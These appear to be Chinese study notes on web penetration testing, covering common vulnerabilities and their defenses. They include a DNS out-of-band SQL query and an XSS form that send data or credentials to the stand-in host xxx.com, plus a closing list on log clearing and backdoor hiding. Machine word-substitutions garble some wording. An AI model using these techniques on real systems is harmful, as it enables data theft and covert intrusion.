渗透测试简单总结

渗透测试简单总结

web请求基本概念

• 请求行
  • Request-Line = Method SP Request-URI SP HTTP-Version CRLF
• 请求头
  • 常见请求头
  • 不一样请求头取值的特殊含义
• 请求体
  • 二进制文件上传的编码方式
• （响应）状态行
  • status-Line = HTTP-Version SP Status-Code SP Reason-Phrase CRLF
• 响应头
• 响应体

常见漏洞

• 脆弱的访问控制
• 认证和会话管理缺陷
• 文件包含
• XXE注入
• 反序列化漏洞
• 第三方组件缺陷

特性被滥用或无用致使的【漏洞】

• 文件上传
• XXE
• 文件包含
• 反序列化

常见的输入篡改攻击

• 强制浏览
• 命令注入
• 跨站脚本攻击
• 缓冲区溢出攻击
• 格式化字符串攻击
• SQL注入
• Cookie毒化
• 隐藏域控制

输入篡改攻击的成因

• 只在客户端进行输入验证
• 过滤时未进行规范化
• 过滤后引入新的漏洞

安全加固方案

• 全部用户输入须要在服务器端进行集中的统一验证

  • HTTP请求行
  • HTTP请求头
  • HTTP请求体

• 代码复查

• 不要“滥用”隐藏域

  • 存储在Session中或从每次请求中获取参数值

• 请求参数须要严格的验证其类型

  • 数据类型（string、integer，real，etc...）
  • 最小和最大长度
  • 是否运训null
  • 参数是不是必须的
  • 数字的取值范围
  • 特定模式（正则表达式）
    • 白名单机制

• 服务器返回给客户端的重要参数、赋值使用HMAC进行参数签名

  • 千万不要使用MD五、SHA-xxx之类的摘要算法对参数进行摘要计算，也不要使用基于“秘密盐值”的MD五、SHA-xxx之类的摘要算法对参数进行摘要计算
    • [HASH长度扩展攻击能够用来伪造消息和对应散列值][https://ciphersaw.me/2017/11/12/Hash Length Extension Attack（哈希长度扩展攻击）/]
    • 对客户端提交的请求校验关键逻辑代码中的参数，一旦消息完整性签名校验失败，说明客户端尝试篡改请求参数攻击，代码逻辑直接跳事后续业务逻辑代码，给客户端返回统一的错误信息

• 对每一个须要验证的请求进行检查，不只是在用户第一次登陆请求时进行检查

• 避免使用本身开发的访问控制，而是使用开发框架内置或第三方可靠安全访问控制框架

  • 采用声明式而非硬编码的访问控制
  • 集中化访问控制而非分散访问控制

• 防止客户端缓存重要内容：设置HTTP响应头和HTML meta标签

• 在服务器端使用操做系统提供的访问控制保护文件的未经受权的访问

• 业务模型的访问控制受权建模

  • 访问控制权限划分的三角形基本法则

• 平行权限访问

  • 属主权限检查

• 提高权限访问

  • 使用ACL

会话攻击

• 会话预测（Session Prediction）指的是攻击者能够【预测】出服务端的合法【会话令牌】，从而达成身份冒用的效果。

• 会话劫持（Session Hijacking）能够经过中间人劫持攻击或跨站点脚本攻击方式拿到用于会话惟一标识的【会话令牌】

• 会话偷渡（Session Riding）是跨站请求伪造（CSRF）的另外一种表述

• 攻击者不须要克隆受害用户的会话，攻击者一次会话头东攻击只是借用受害用户保存在客户端的【会话令牌】执行一次受害用户不知情的认证会话操做，攻击者对于受害用户使用的【会话令牌】具体是什么并不知情。

文件上传漏洞

• 对于某些类型文件
  • 禁用上传目录的脚本执行权限

以Apache为例，可使用.htaccess，可是使用.htaccess防护文件上传漏洞存在反作用，攻击者上传精心构造的.htaccess来使得[上传目录]下对特定文件类型开启脚本解释执行功能。

• 即便
  • 检查是否判断了上传文件类型及后缀
  • 定义上传文件类型白名单
  • 文件上传目录禁止脚本解析
• 仍然推荐
  • 定义文件名白名单
  • 上传后统一重命名
  • 杜绝XSS漏洞、文件包含漏洞、字符编码漏洞...

文件包含漏洞

C语言头文件
python import的模块或包
......

• 插件功能须要【动态加载执行代码】
• 当攻击者能够控制【加载什么代码】的时候，就触发了文件包含漏洞
• 几乎全部脚本语言都会提供文件包含功能，但PHP语言因为其过于灵活和自由的代码执行继指致使了大多数文件包含类漏洞都是出如今PHP编写的网站程序之中。

PHP文件包含漏洞

• include()
• require()
• include_once()
• require_once()

上述四个PHP函数均可以传入【变量】来动态加载PHP源代码文件。且既能够是【本地文件】，也能够是【远程文件】。

PHP本地文件包含执行代码不依赖于修改PHP的默认运行时配置便可完成认以PHP代码执行。

经过文件上传漏洞上传恶意脚本文件，经过文件包含漏洞去执行脚本。

将恶意脚本文件保存到某个网址下面，经过文件包含漏洞去执行该脚本。

防护PHP文件包含漏洞

• 修改PHP的运行时配置文件php.ini
  • 开启open basedir函数，将其设置为指定目录，则只有该目录的文件容许被访问
  • allow_url_include=Off禁止远程文件包含
  • 从代码级别避免及修复文件包含漏洞
    • 过滤文件包含路径变量的输入，采用白名单方式包含文件
    • 建议禁止从外部输入读取包含文件的路径

XXE漏洞

• XML代码中包含了加载外部资源的【恶意变量声明】
• 服务端代码在解析XML代码时无限制解析【恶意变量】声明语句
• 【恶意变量】的值被回显

XXE漏洞危害

• 敏感数据泄露（任意文件读取）
• 拒绝服务攻击
• 服务端请求伪造
• 远程代码执行
• 执行应用程序托管服务器的网络端口扫描

python XML解析器其余漏洞类型

序列化

序列化是将应用程序对象状态转换为二进制数据或文本数据的过程。

反序列化则是其逆向过程，即从二进制数据或文本数据建立对象状态。

应用程序使用该功能来支持有效共享或存储对象状态。

变化的是数据，类和方法存在于后端代码中。

反序列化应用场景

• 分布式系统的【远程过程调用】，传参：经过网络传输【对象】
• 游戏的进度存档（序列化）与读档（反序列化）

反序列化漏洞

• 攻击者经过建立恶意的反序列化对象，在应用程序执行序列化时，远程执行代码和篡改数据。
• 使用不可信来源的对象序列化的分布式应用程序和API特别容易受到反序列化攻击。

案例：[python编写的SQL注入自动化利用神奇Sqlmap存在的Pickle反序列化漏洞致使代码执行报告][https://blog.knownsec.com/2015/12/sqlmap-code-execution-vulnerability-analysis/]

PHP对象序列化基本概念

全部php里面的值均可以使用函数serialize()来返回一个包含字节流的字符串来表示。unserialize()函数可以从新把字符串变回php原来的值。 序列化一个对象将会保存对象的全部变量，可是不会保存对象的方法，只会保存类的名字。

不要被不可打印字符欺骗了

• protected属性字段age左边的*(2a)字符的左右两边被不可打印字符\00包围
• private属性字段mobile左边拼接了字符串\00User\00，其中User是类名

序列化规律

• <对象标识>:<类名长度>:"类名":类的成员变量个数

  • O:4:"User":3:{

• <成员变量类型>:<成员变量名长度>:<成员变量名>";<成员变量值类型>:<成员变量值>;

  • s:6:"\00*\00age";i:18;

• <成员变量类型>:<成员变量名长度>:<成员变量名>";<成员变量值类型>:<成员变量值长度>:<成员变量值>;

  • s:4:"name";s:9:"zhangsan";

• <成员变量类型>:<成员变量名长度>:<成员变量名>":<成员变量值长度>:<成员变量值>;

  • s:12:"\00User\00moblie";s:11:"1330000000";}

反序列化漏洞防护方案

• 将应用程序配置为不接受不可信来源的任何反序列化输入

• 仅使用具备基本数据类型的序列化函数（如PHP的json_encode()和json_decode())

• 若是这些措施不可行，那么在建立对象以前执行反序列化期间应强制约束类型，在较低特权环境（例如，临时容器）中运行反序列化，并限制与执行反序列化的服务器的网络链接。

• 同时还能够经过使用加密或完整性检查（例如，数字前面），防止恶意的对象建立和数据篡改操做。

第三方组件

全部web应用程序（甚至操做系统）都依靠由第三方开发和提供的各类软件组件，包括开源组件和商用组件。

延伸到供应链安全

1. 开发环节：软硬件开发环境、开发工具、第三方库等。
2. 交付环节：下载、安装光盘、应用商店等。
3. 使用环节：软件升级、维护等。

SQL注入漏洞发现与利用

• 确认漏洞注入点存在
  • 有报错回显
    • 枚举/猜解：列数、数据库版本、表名、列名你个、具体值
  • 无报错回显 -> SQL盲注
    • 利用SQL代码延迟执行时间差
    • 利用SQL代码执行返回结果差别制造页面渲染结果差异

SQL注入攻击与危害

• 越权读取数据
• 绕过访问控制
• 篡改数据
• 写文件
• 读文件
• 代码执行

SQL注入防护

• 代码级别一劳永逸
  • 使用预编译SQL语句
• 纵深防护措施
  • 最小化数据链接权限
  • 输入数据白名单
• 缓解措施
  • 使用Web应用防火墙（WAF）

命令注入

• 有时也被称为代码注入，SQL注入自己就是一种特殊的命令注入：针对SQL服务器的命令注入。

shell命令注入漏洞的代码防护级别

• 输入数据过滤
  • shell命令过滤（escapeshellcmd）
  • shell命令参数过滤（escapehellarg）

过滤是把双刃剑

• 屡次过滤致使输入的参数又变成了可执行的命令

SSRF漏洞

文件包含、XXE漏洞、反序列化漏洞均可以用来构造和触发SSRF，这就是典型的【组合漏洞】和【链式漏洞】利用。

严格来讲，SSRF不是一种独立漏洞类型，而是一种漏洞利用类型。

curl 支持的协议很是普遍，若是服务端存在curl命令调用的用户输入的场景，很是危险！！！

另类SSRF

• 除了文件读取时容易形成SSRF漏洞（例如文档、图片、音视频处理等在接受文件路径输入参数时极可能同时支持本地和网络协议URL）

• 数据库的一些内置功能（家在网络地址时会自动对其中包含的域名字段进行DNS查询），也会被利用在SQL注入的过程当中获取数据。

SQL注入过程当中的SSRF

以sqlmap为例，在其众多数据获取技巧中提供了一个命令行参数--dns-domain就是实现了利用SQL数据库在执行一些特定函数时会对其中传入的参数看成域名进行查询这个特性的基于DNS的带外数据回传。

select load_file(concat('\\\\'), version, '.xxx.com\\1.txt')

成功执行上述SQL代码会在xxx.com的DNS解析服务器上留下一条DNS查询记录。

• 须要注意的是，MySQL的全局配置参数secure_file_priv的设定会影响到load_file()是否解析参数中包含的域名
  • 5.7.16以前独立安装包版本或5.7.5以前全部版本的secure_file_priv缺省设置均为空，则上述攻击代码能得手
  • 但若是设置为NULL则会禁用文件读取操做，若是设置为制定目录，则只能从制定目录读取文件

XSS攻击

离开JavaScript也能来一次XSS攻击，基于页面篡改。

<div>
  <form action="xxx.com/1.php">用户名<input name="a"><br/>密码<input name="b" type="password"><br/><input type=submit value=登录>
</div>

在绝大多数状况下，XSS中都会包含JavaScript代码，以完成更高级的漏洞利用效果

• 从攻击者角度看XSS
  • 发现和验证XSS的存在性虽然容易，但只是第一步
  • 和谐完美利用达到最大化漏洞利用效果很是不容易
  • 工具党的福音，BeEF，The Browser Exploitation Framework

防护XSS

• 服务端脚本在【输出】数据时，要进行【转义】操做

• 【输出】数据的【转义】要按内容是HTML仍是JavaScript进行区别操做

  • 对于HTML的输出转义应使用htmlspecialchar()函数（且大多数状况下应在第二个参数设置ENT_QUOTES来转义单引号）
  • 对于JavaScript的输出转义，特别是涉及到JavaScript变量的过滤仅仅使用htmlspecialchars()是不够的，不少RESTful接口应用还会使用json_encode()去处理服务端输出给客户端的JavaScript变量值

• 在客户端脚本中尽量使用innerText()之类的函数来过滤服务端脚本对客户端变量的赋值

• 联合现代浏览器的客户端安全机制，共同对抗XSS

  • 在服务端输出HTML时，加上Content Security Policy的HTTP响应头
  • 低版本可能不支持，可是某些低版本浏览器支持一些自定义HTTP响应头X-XSS-Protection来限制家在执行不可信脚本
  • 在设置Cookie时，加上HttpOnly参数避免关键Cookie字段被脚本访问

CSRF描述

• 从名称上来看相似跨站点攻击，但实质上彻底不一样：
  • XSS是滥用用户对Web站点的信任
  • CSRF是滥用Web站点对其受权用户的信任
• 假装成来自受信任站点的合法用户
  • 有时也被称为会话劫持攻击
• 典型案例
  • 诱骗用户访问一个图片源标记为恶意请求连接的页面，从而触发一个异步的恶意远程调用
  • 接受受信任而且经过验证的用户的输入但并不检查数据的来源地址

CSRF漏洞攻击流程

美团技术团队：如何防止CSRF攻击？

• 受害者登陆a.com，并保留了登陆凭证（Cookie）。
• 攻击者引诱受害者访问了b.com。
• b.com 向 a.com 发送了一个请求：a.com/act=xx。浏览器会默认携带a.com的Cookie。
• a.com接收到请求后，对请求进行验证，并确认是受害者的凭证，误觉得是受害者本身发送的请求。
• a.com以受害者的名义执行了act=xx。
• 攻击完成，攻击者在受害者不知情的状况下，冒充受害者，让a.com执行了本身定义的操做。

与XSS的联系

• 跨站点请求伪造一般伴随XSS漏洞利用过程
• 现有XSS，再有CSRF
  • 借助XSS漏洞得到在用户浏览器执行脚本的机会
• 没有XSS，同样能够有CSRF
  • 借助已经过网站认证和得到受权的用户浏览器会话
    • 假借用户的合法cookie
• 一个URL便可出发一次CSRF
  • http://victim.org/deluser.php?id=admin

防护CSRF

1. 对HTTP Header中的referer字段进行验证

   • HTTP Header字段记录了该HTTP请求的来源地址。在一般状况下，访问一个安全受限页面的请求必须来自于同一个网站
     • 只须要对于每个POST请求验证其Referer值，若是是来源于【受信任】域名的请求，则接受
     • 若是Referer是其余网站的话，就有多是CSRF攻击，则拒绝该请求

2. 在POST请求中添加token做为参数并验证

   • 这种安全策略背各类Web框架普遍采用
   • CSRF漏洞可以被利用的主要缘由就是用户的所有验证信息均保存在Cookie中，攻击者能够在不接触到Cookie的的前提下完成身份验证
     • 只须要在请求中设置一个攻击者所没法伪造的、不可预测的token，且保证这个token与Cookie是毫无关联的
     • 此外，还应保证这个token是独立且不重复使用的
     • 在服务端验证用户身份时，应同时对Cookie及token进行验证
       • 这个token被称为csrftoken，在HTML的表单中，该字段的输入域网网是隐藏的

3. 在HTTP头中自定义属性并验证

   • 自定义属性的方法也是使用token并进行验证，和前一种方法不一样的是，这里并非把token以参数的形式置于HTTP请求之中，而是把它放到HTTP Header中自定义的属性里
   • 当前一种方法实现不便的状况下，能够采用这种安全策略进行系统加固。

4. 添加验证码并验证

   • 能够在表单中增长随机验证码，采用强制用户与Web应用进行交互的方式防止CSRF攻击
     • 登录验证、交易等针对危险操做的接口
     • 但强制全部请求都是用验证码每每也是不现实的
   • 在实战中，Web程序每每采用在POST请求中添加token做为参数并验证的方法做为防止CSRF漏洞的安全策略
     • 禁止将csrftoken做为GET参数进行请求，防止请求地址呗记录到浏览器的地址栏，也防止token经过Referer泄漏到其余网站。

以上四种防护方法一般是组合使用，而不是单一应用。

Web服务器URI解析类漏洞

CVE-2013-4547 Nginx文件名解析逻辑漏洞

目录遍历或信息泄漏（被枚举探测存在性）

• 微软DOS时代设计的针对长文件名的自动缩短8.3命名规则，超过部分用~取代。
• 上述CVE漏洞就能够致使Web服务器将非脚本文件扩展名对应的文件看成服务端脚本解析并执行

防护Web服务器URI解析类漏洞

• 升级版本
• 根据官方通告打补丁
• 部署防火墙、HIDS、WAF等来缓解。

访问痕迹清理

• 系统日志
• 删除临时文件
• 后门隐藏
  • 后门软件隐藏
  • 后门进程隐藏
  • 后门帐户隐藏
  • 后门端口隐藏